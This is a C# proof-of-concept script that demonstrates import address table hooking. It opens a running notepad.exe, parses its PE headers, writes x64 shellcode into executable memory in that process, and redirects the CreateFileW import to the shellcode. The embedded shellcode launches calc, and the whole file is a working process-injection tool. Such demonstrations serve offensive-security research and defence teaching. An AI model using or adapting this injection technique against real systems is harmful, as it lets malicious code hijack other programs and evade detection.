Files
2017-11-05 09:49:07 +00:00

477 lines
19 KiB
C#

/*
A script to demonstrate IAT hooking created by @pwndizzle.
Parts of the PE parsing code was originally created by Casey Smith.
To build and run:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe iat-inject.cs && iat-inject.exe
Note: By default this module is configured to target the CreateFileW import of notepad.exe. Notepad will need to be running before you execute this code!
Note: During test it was found that shellcode execution would modify the stack and break subsequent functions.
Afaik the solution is to use shellcode that cleans up after itself.
Note: This code only supports x64 at the momemt, some further tweaks may be needed for x86.
*/
using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Diagnostics;
namespace Delivery
{
public class Program
{
public static void Main()
{
string targetProcName = "notepad";
string targetFuncName = "CreateFileW";
// Get target process id and read memory contents
Process process = Process.GetProcessesByName(targetProcName)[0];
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, process.Id);
int bytesRead = 0;
byte[] fileBytes = new byte[process.WorkingSet64];
ReadProcessMemory(hProcess, process.MainModule.BaseAddress, fileBytes, fileBytes.Length, ref bytesRead);
// The DOS header
IMAGE_DOS_HEADER dosHeader;
// The file header
IMAGE_FILE_HEADER fileHeader;
// Optional 32 bit file header
IMAGE_OPTIONAL_HEADER32 optionalHeader32 = new IMAGE_OPTIONAL_HEADER32();
// Optional 64 bit file header
IMAGE_OPTIONAL_HEADER64 optionalHeader64 = new IMAGE_OPTIONAL_HEADER64();
// Image Section headers
IMAGE_SECTION_HEADER[] imageSectionHeaders;
// Import descriptor for each DLL
IMAGE_IMPORT_DESCRIPTOR[] importDescriptors;
// Convert file bytes to memorystream and use reader
MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length);
BinaryReader reader = new BinaryReader(stream);
//Begin parsing structures
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (Is32BitHeader(fileHeader))
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
// Go to ImportTable and parse every imported DLL
stream.Seek((long)((ulong)optionalHeader64.ImportTable.VirtualAddress), SeekOrigin.Begin);
importDescriptors = new IMAGE_IMPORT_DESCRIPTOR[50];
for (int i = 0; i < 50; i++)
{
importDescriptors[i] = FromBinaryReader<IMAGE_IMPORT_DESCRIPTOR>(reader);
}
bool flag = false;
int j = 0;
// The below is really hacky, would have been better to use structures!
while (j < importDescriptors.Length && !flag)
{
for (int k = 0; k < 1000; k++)
{
// Get the address for the function and its name
Console.WriteLine("##############################");
stream.Seek(importDescriptors[j].OriginalFirstThunk + (k * 8), SeekOrigin.Begin);
long nameOffset = reader.ReadInt64();
if (nameOffset > 1000000 || nameOffset < 0)
{
break;
}
// Get the function name
stream.Seek(nameOffset + 2, SeekOrigin.Begin);
List<string> list = new List<string>();
byte[] array;
do
{
array = reader.ReadBytes(1);
list.Add(Encoding.Default.GetString(array));
}
while (array[0] != 0);
string curFuncName = string.Join(string.Empty, list.ToArray());
curFuncName = curFuncName.Substring(0, curFuncName.Length - 1);
// Get the offset of the pointer to the target function and its current value
long funcOffset = importDescriptors[j].FirstThunk + (k * 8);
stream.Seek(funcOffset, SeekOrigin.Begin);
long curFuncAddr = reader.ReadInt64();
Console.WriteLine("funcname: " + curFuncName + " ptr: " + curFuncAddr.ToString("X"));
// Found target function, modify address to point to shellcode
if (curFuncName == targetFuncName)
{
// WinExec shellcode from: https://github.com/peterferrie/win-exec-calc-shellcode
// nasm w64-exec-calc-shellcode.asm -DSTACK_ALIGN=TRUE -DFUNC=TRUE -DCLEAN=TRUE -o w64-exec-calc-shellcode.bin
byte[] payload = new byte[111] {
0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58
};
// Once shellcode has executed go to real import (mov to rax then jmp to address)
byte[] mov_rax = new byte[2] {
0x48, 0xb8
};
byte[] jmp_address = BitConverter.GetBytes(curFuncAddr);
byte[] jmp_rax = new byte[2] {
0xff, 0xe0
};
// Build shellcode
byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
payload.CopyTo(shellcode, 0);
mov_rax.CopyTo(shellcode, payload.Length);
jmp_address.CopyTo(shellcode, payload.Length+mov_rax.Length);
jmp_rax.CopyTo(shellcode, payload.Length+mov_rax.Length+jmp_address.Length);
// Allocate memory for shellcode
IntPtr shellcodeAddress = VirtualAllocEx(hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Write shellcode to memory
IntPtr shellcodeBytesWritten = IntPtr.Zero;
WriteProcessMemory(hProcess,shellcodeAddress,shellcode,shellcode.Length, out shellcodeBytesWritten);
long funcAddress = (long)optionalHeader64.ImageBase + funcOffset;
// Get current value of IAT
bytesRead = 0;
byte[] buffer1 = new byte[8];
ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer1, buffer1.Length, ref bytesRead);
// Get shellcode address
byte[] shellcodePtr = BitConverter.GetBytes((Int64)shellcodeAddress);
// Modify permissions to allow IAT modification
uint oldProtect = 0;
bool protectbool = VirtualProtectEx(hProcess, (IntPtr)funcAddress, shellcodePtr.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
// Modfiy IAT to point to shellcode
IntPtr iatBytesWritten = IntPtr.Zero;
bool success = WriteProcessMemory(hProcess, (IntPtr)funcAddress, shellcodePtr, shellcodePtr.Length, out iatBytesWritten);
// Read IAT to confirm new value
bytesRead = 0;
byte[] buffer = new byte[8];
ReadProcessMemory(hProcess, (IntPtr)funcAddress, buffer, buffer.Length, ref bytesRead);
Console.WriteLine("Old IAT ptr: " + BitConverter.ToString(buffer1) + " New IAT ptr: " + BitConverter.ToString(buffer));
flag = true;
break;
}
}
j++;
}
}
public struct IMAGE_DOS_HEADER
{ // DOS .EXE header
public UInt16 e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
public UInt16 e_res_0; // Reserved words
public UInt16 e_res_1; // Reserved words
public UInt16 e_res_2; // Reserved words
public UInt16 e_res_3; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
public UInt16 e_res2_0; // Reserved words
public UInt16 e_res2_1; // Reserved words
public UInt16 e_res2_2; // Reserved words
public UInt16 e_res2_3; // Reserved words
public UInt16 e_res2_4; // Reserved words
public UInt16 e_res2_5; // Reserved words
public UInt16 e_res2_6; // Reserved words
public UInt16 e_res2_7; // Reserved words
public UInt16 e_res2_8; // Reserved words
public UInt16 e_res2_9; // Reserved words
public UInt32 e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt64 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt64 SizeOfStackReserve;
public UInt64 SizeOfStackCommit;
public UInt64 SizeOfHeapReserve;
public UInt64 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_IMPORT_DESCRIPTOR
{
public uint OriginalFirstThunk;
public uint TimeDateStamp;
public uint ForwarderChain;
public uint Name;
public uint FirstThunk;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[Flags]
public enum DataSectionFlags : uint
{
Stub = 0x00000000,
}
public static T FromBinaryReader<T>(BinaryReader reader)
{
// Read in a byte array
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
// Pin the managed memory while, copy it out the data, then unpin it
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return theStructure;
}
public static bool Is32BitHeader(IMAGE_FILE_HEADER fileHeader)
{
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
return (IMAGE_FILE_32BIT_MACHINE & fileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
}
// Process privileges
public const int PROCESS_CREATE_THREAD = 0x0002;
public const int PROCESS_QUERY_INFORMATION = 0x0400;
public const int PROCESS_VM_OPERATION = 0x0008;
public const int PROCESS_VM_WRITE = 0x0020;
public const int PROCESS_VM_READ = 0x0010;
public const int PROCESS_ALL_ACCESS = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
// Memory permissions
public const uint MEM_COMMIT = 0x00001000;
public const uint MEM_RESERVE = 0x00002000;
public const uint PAGE_READWRITE = 0x04;
public const uint PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, ref int lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
}
}